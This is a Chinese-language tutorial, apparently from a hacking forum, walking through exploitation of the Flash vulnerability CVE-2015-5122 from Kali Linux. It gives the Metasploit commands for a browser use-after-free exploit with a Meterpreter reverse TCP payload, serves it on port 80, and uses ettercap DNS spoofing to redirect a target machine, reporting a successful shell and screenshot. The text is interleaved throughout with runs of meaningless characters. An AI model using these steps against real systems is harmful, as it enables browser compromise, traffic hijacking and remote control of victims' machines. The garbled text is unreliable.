cve2015-5122漏洞实例演示虚拟机

admin

二、cve2015-5122漏洞实例演示虚拟机 : v$ L* {* b) O, ]$ L* |

' R8 m# Q7 |: J& y4 r9 W

# z; D1 D) \$ g0 ^! v$ R   关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图：

! _0 {* d5 O" F, y. I& H- B search cve-2015-5122如图： 8 w7 Y4 `8 l ]4 e: W

6 B* |. F; Z9 M$ K. y- |

  - d. ]1 D/ M& [# @7 G6 Y

b. B7 b1 G) @0 J$ J 下面我们敲如下命令：

& m, r1 M4 Y* n. ]3 u. K+ q

use exploit/multi/browser/adobe_flash_opaque_background_uaf * o* [; j* @1 N1 f) X" j, d

7 k" P0 l9 _. r set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.0.109

# g. E) b7 U: p8 a, }1 {% N" b1 u

set URIPATH /                        /*根目录*/ ' O, x( |) Q6 Z" C! u

9 Q0 h! b& m, m9 l M ]' j set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址

set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用

然后show options如图： , Y0 z8 T( Z9 c2 g. c- X

# p8 E/ M& [" w9 h7 N

  : k8 @$ j2 T: Q3 `, a7 K7 V

- K7 L& U" u0 e2 M, B: c

/ @3 V; A) W6 \ 一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：
- r* D, ]/ t5 m' i# X3 L; A 1 _8 v- S0 z$ b4 H, k# V/ B

2 ^; n- p, v$ R5 j+ `! a4 X" i- G 然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115

1 Y ?8 j! T% t* {

# W) U& Q, ~' p Y+ ? Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf

  % J! G* j7 d/ G' N

成功了，这时候我们断开ettercap，如图： 5 [" C2 c5 W' h& Q

! ]0 y1 l+ @1 l

$ G9 J6 i8 g# U0 h1 q   . ]2 k& h7 V2 {6 s4 u

1 L E! C' D. m$ u Screenshot如图： , l- L( Q6 h( Q q% T3 H1 k

 

: A) [( c. c. Y6 t4 [